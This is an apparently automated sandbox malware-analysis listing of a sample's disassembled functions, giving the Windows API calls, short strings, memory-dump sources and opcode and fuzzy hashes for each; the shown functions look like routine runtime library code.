Function 00BC0D3E Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00BC0D4A
IsDebuggerPresent.KERNEL32 ref: 00BC0E16
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BC0E36
UnhandledExceptionFilter.KERNEL32(?), ref: 00BC0E40

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 8830399152149582576a4d3f17d13e89694bdd86523170f88eccb95077b790a2
Instruction ID: e22144329eff78acda71640d853957dc93f00c1f07c3e97a47c230836837f337
Opcode Fuzzy Hash: 8830399152149582576a4d3f17d13e89694bdd86523170f88eccb95077b790a2
Instruction Fuzzy Hash: 3F31E575D55218DBDB20EFA4D989BCDBBF8AF18300F1041EAE409AB250EB719A858F45

Function 00BB4F40 Relevance: 4.7, APIs: 3, Instructions: 236COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BB4F64
std::_Lockit::~_Lockit.LIBCPMT ref: 00BB5221

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 4adddc10a25d94730be2aa94e9771da21ddd7bbc1723643e37ae3cb65ce3818d
Instruction ID: ed73f4af7efc52af1006ed04b31c152c558155d1eb135deb85631fc03e082bf4
Opcode Fuzzy Hash: 4adddc10a25d94730be2aa94e9771da21ddd7bbc1723643e37ae3cb65ce3818d
Instruction Fuzzy Hash: C56125767157014FCB28CE2988D63FA77D2EBA8350F144C6EE84AC7351DA79CC498A53

Function 00BD4C12 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BD4C66
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BD4CB0
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BD4D76

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: f886b6ad3b64423786af62ee6f145b50282003f162604271913aa85539ff2c6a
Instruction ID: bda0e28013c235e3e492834c0b9b84730005752129e12bdb3de2b3ec6a003e8c
Opcode Fuzzy Hash: f886b6ad3b64423786af62ee6f145b50282003f162604271913aa85539ff2c6a
Instruction Fuzzy Hash: 98616C71610207ABDB289F25C982BAAB7E9EF04300F1445FAE919CB285FB74DD85CB50

Function 00BCA37A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00BCA472
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00BCA47C
UnhandledExceptionFilter.KERNEL32(C0C2CD26,?,?,?,?,?,00000000), ref: 00BCA489

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d700ff67eef3aa560aeabc8a3ab762ee8b89e97a05647e51747d263d99a2b86f
Instruction ID: b7c24b4b691f2ff509f002f3cd68b25cff7d47851b7b33ec0c55c77f7712659a
Opcode Fuzzy Hash: d700ff67eef3aa560aeabc8a3ab762ee8b89e97a05647e51747d263d99a2b86f
Instruction Fuzzy Hash: BD31B1749112289BCB21DF24D989BCDBBF8BF18310F5041EAE41CA7260EB709F858F45

Function 00BBB4E0 Relevance: 4.4, Strings: 3, Instructions: 687COMMON

Download Yara Rule

Strings

cbF, xrefs: 00BBB80D
o, xrefs: 00BBBC79
cbF, xrefs: 00BBBA28

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: cbF$cbF$o
API String ID: 0-1043606144
Opcode ID: 17cf376e9858c4b881f4ea818175bed4588230ac153b6542e63e5b8739472652
Instruction ID: 6a4c46bf07303d079c19be7f84cea2724602b076a2a68351eabe9ad65649262d
Opcode Fuzzy Hash: 17cf376e9858c4b881f4ea818175bed4588230ac153b6542e63e5b8739472652
Instruction Fuzzy Hash: EF22477BF69A104FA718C9B9CCC27AAA6C357D8314F1F956D9898E7310DAFCCC060281

Function 00BAD170 Relevance: 4.3, Strings: 3, Instructions: 548COMMONLIBRARYCODE

Download Yara Rule

Strings

hd*, xrefs: 00BAD5E3
hd*, xrefs: 00BAD1C6
hd*, xrefs: 00BAD295

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: hd*$ hd*$ hd*
API String ID: 0-290621374
Opcode ID: 4d2e10ed73fab5cd9a8f3b8e05076b0c08ff89f4e140d0ad0c804e5e9b8a6cde
Instruction ID: 6efbffe6f71221bc6546074d77ea3d9a12bac75b7c2e55ff7a6326c1e5f9a0b9
Opcode Fuzzy Hash: 4d2e10ed73fab5cd9a8f3b8e05076b0c08ff89f4e140d0ad0c804e5e9b8a6cde
Instruction Fuzzy Hash: 931204756187008FCB18CF28C4A57AB7BE1AFCA314F25499EE89ACB751CB35CD418B52

Function 00BB1150 Relevance: 3.9, Strings: 2, Instructions: 1429COMMON

Download Yara Rule

Strings

`[c, xrefs: 00BB24F7
`[c, xrefs: 00BB23D4

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: `[c$`[c
API String ID: 0-3642393026
Opcode ID: 87a48dbb47124cf4444e3fb1876487aa88470a9aa88a989cc7948d7b96bf45d7
Instruction ID: a639e61228a2ccbf2024fe5c597c52b41133e32233741121efab5ac06ed6fa94
Opcode Fuzzy Hash: 87a48dbb47124cf4444e3fb1876487aa88470a9aa88a989cc7948d7b96bf45d7
Instruction Fuzzy Hash: E6A256766146404FDB08CE39C4E53FB77D3ABD5314F29986ED44ACB391DABAC84A8B01

Function 00BBBFA0 Relevance: 3.6, Strings: 2, Instructions: 1106COMMON

Download Yara Rule

Strings

t8y, xrefs: 00BBC11C
t8y, xrefs: 00BBC108

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: t8y$t8y
API String ID: 0-2720595132
Opcode ID: 6528b8fcd41bd6f1ba16b757769fabe9872a47bd7c478230a8b036e3d740c195
Instruction ID: 0b60cad05a07138500e66b225a99b1f1ef0def6dbf3ed66c2cd5caa75a9d86a1
Opcode Fuzzy Hash: 6528b8fcd41bd6f1ba16b757769fabe9872a47bd7c478230a8b036e3d740c195
Instruction Fuzzy Hash: DF72157BB61A004BA71CC96ACCE23F767D3ABD8314729E47E845BC7645DDBDD8068A00

Function 00BA6970 Relevance: 3.5, Strings: 2, Instructions: 1030COMMON

Download Yara Rule

Strings

`[c, xrefs: 00BA6CC2
`[c, xrefs: 00BA6D37

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: `[c$`[c
API String ID: 0-3642393026
Opcode ID: 395d1b4680d4bdab7d5b13e5d133bb9b689f2f9a4d23f27bebd5d31621812b36
Instruction ID: 2af6409997f0197a686dbefe66dcfda43b6a364dcd25becbe162a29b92a4f1a4
Opcode Fuzzy Hash: 395d1b4680d4bdab7d5b13e5d133bb9b689f2f9a4d23f27bebd5d31621812b36
Instruction Fuzzy Hash: 1F62687BF65A104BE70CCA2AC8923AB67C3ABC9314F1ED47E989AC7345DD79CC064641

Function 00BA4410 Relevance: 3.3, Strings: 1, Instructions: 2081COMMON

Download Yara Rule

Strings

d, xrefs: 00BA51CE

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 43a1bee4c84296bf7b3038ac42f5a4897a90b14269f35a2e95d62ccdd744f51f
Instruction ID: 618dfd28c92191975c03209d7dc852d82950b1f6aa550b6b477988581ac4ae89
Opcode Fuzzy Hash: 43a1bee4c84296bf7b3038ac42f5a4897a90b14269f35a2e95d62ccdd744f51f
Instruction Fuzzy Hash: E4D28B7BF65A200BA718C9BA8CD23EBA6C357D9310F1E947E9999D7341DDBDCC060680

Function 00BA9BC0 Relevance: 3.0, Strings: 2, Instructions: 492COMMON

Download Yara Rule

Strings

_q, xrefs: 00BAA1D0
_q, xrefs: 00BA9EDB

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: _q$_q
API String ID: 0-3608900609
Opcode ID: ff0c506b00677db6f4b74135cecbf023aa6016cd3a654f83bdfe80a48f4edb0b
Instruction ID: f17768ada3ee301087e26360f63997f1443ea32a54f44255a9d0d86844591510
Opcode Fuzzy Hash: ff0c506b00677db6f4b74135cecbf023aa6016cd3a654f83bdfe80a48f4edb0b
Instruction Fuzzy Hash: 01F127366087009FD718CA29C4D567FB7D2EBCA300F24986EE886D7351EA35DC45DB52

Function 00BB6070 Relevance: 2.8, Strings: 2, Instructions: 328COMMON

Download Yara Rule

Strings

6v1_, xrefs: 00BB624B
6v1_, xrefs: 00BB64C7

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: 6v1_$6v1_
API String ID: 0-2921681065
Opcode ID: 8be43c167e8a8db8993ed3beac30effc992f71785e2c85bb2875516c2c6c615e
Instruction ID: 71af96c4869851fb0d4dbaac71cfabcaa1dee2ab220b42cb0d8d82b1d7aa436e
Opcode Fuzzy Hash: 8be43c167e8a8db8993ed3beac30effc992f71785e2c85bb2875516c2c6c615e
Instruction Fuzzy Hash: CBB14B76A183018F9718CE2DC48167EBBE3ABC8314F19496DF889D7345DAB8DC418B93

Function 00BBCD60 Relevance: 2.8, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

`[c, xrefs: 00BBD077
`[c, xrefs: 00BBD014

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: `[c$`[c
API String ID: 0-3642393026
Opcode ID: e7f02a8db528d642ccd7a7beb81330a9ec9cb131e38f00c75a540ae6f876463a
Instruction ID: bf89918fca5c082b0b3cf3be46f0303a90fa9f6b253da0883504daac0c34cb2d
Opcode Fuzzy Hash: e7f02a8db528d642ccd7a7beb81330a9ec9cb131e38f00c75a540ae6f876463a
Instruction Fuzzy Hash: 5481693A7406028FDB04DA29C8E43FB7BD3ABD9354F55D879D448CB352CA7ADC4A8A41

Function 00BB0030 Relevance: 1.8, Strings: 1, Instructions: 577COMMON

Download Yara Rule

Strings

L, xrefs: 00BB0709

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: f0e95ae2691482cafa4afe4ea29008b76309c6a1147a64d2f1d47203aee38a9f
Instruction ID: e2772ba67db8555dcdf3790e4081a446dd124afea5707899cd7408f30c0de36d
Opcode Fuzzy Hash: f0e95ae2691482cafa4afe4ea29008b76309c6a1147a64d2f1d47203aee38a9f
Instruction Fuzzy Hash: BC124C76A287008FDB18DE28C4D03FFB7E1ABD9310F25896EE88597350DA75CC458B82

Function 00BD9006 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,05390158,?,00000008,?,?,00BD8F61,05390158,?,00000008,?,?,00BDABE3,00000000), ref: 00BD9233

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 1a6f7e59fbade3cd2d894c5743218847e24e3c4537d4f922b4627a4ee8729e50
Instruction ID: 16da64ec24eb5cb5ef6203870fbd879f26f95af2b82dac4db825f946557a83c0
Opcode Fuzzy Hash: 1a6f7e59fbade3cd2d894c5743218847e24e3c4537d4f922b4627a4ee8729e50
Instruction Fuzzy Hash: 28B13C31610609AFD719CF28C4CABA5BBE0FF45364F258699E899CF3A1D335D992CB40

Function 00BD55BC Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD0A4F: HeapAlloc.KERNEL32(00000008,C0C2D04E,C0C2D04E,?,00BCFB69,00000001,00000364,C0C2D04E,00000002,000000FF,?,00BD5F80,00000000,00BC990C,?,EDF9CBD8), ref: 00BD0A90

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BD575D
FindNextFileW.KERNEL32(00000000,?), ref: 00BD5851
FindClose.KERNEL32(00000000), ref: 00BD5890
FindClose.KERNEL32(00000000), ref: 00BD58C3

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 0b9389c4032eed93f6e1faf3223edbea241269990cbe2448430bfc8342eb14bf
Instruction ID: 0f38be6b03256ad3d19ca4c7c9795e46d48e149fa9e241de429acb337aa3038e
Opcode Fuzzy Hash: 0b9389c4032eed93f6e1faf3223edbea241269990cbe2448430bfc8342eb14bf
Instruction Fuzzy Hash: 4E515471900609AFDB20AF289C84ABEF7EADF45314F6441EFF45897301FA309D418B24

Function 00BC0EAF Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00BC0EC5

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 4202deba80d20737cdbc2eac4e1e711ed172bb050237824a5a7ce7fa89a19343
Instruction ID: 29df7093196d1481515c231ef8cccae260f0b2bc831fd4f22ba0b5eef8f1cdeb
Opcode Fuzzy Hash: 4202deba80d20737cdbc2eac4e1e711ed172bb050237824a5a7ce7fa89a19343
Instruction Fuzzy Hash: 495149B1A15205DFEB24CF59D981BAABBF4FB48310F2585AED401EB261D774D980CF60

Function 00BD4EC4 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BD4F18

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: be8b51a83349b3c1b8346325441cedf9c48e0d9e36e7f29200fce779df56c256
Instruction ID: 24fddda77629fe2c64ff132cfcb87aa9582e9d52e14ea4201eeb481f54500d0b
Opcode Fuzzy Hash: be8b51a83349b3c1b8346325441cedf9c48e0d9e36e7f29200fce779df56c256
Instruction Fuzzy Hash: C7217F72611216ABDB289B25DD82BBAB7E8EF44310B1000BBF905D7291FB74ED418B50

Function 00BC5CE1 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00BC5E65

Memory Dump Source

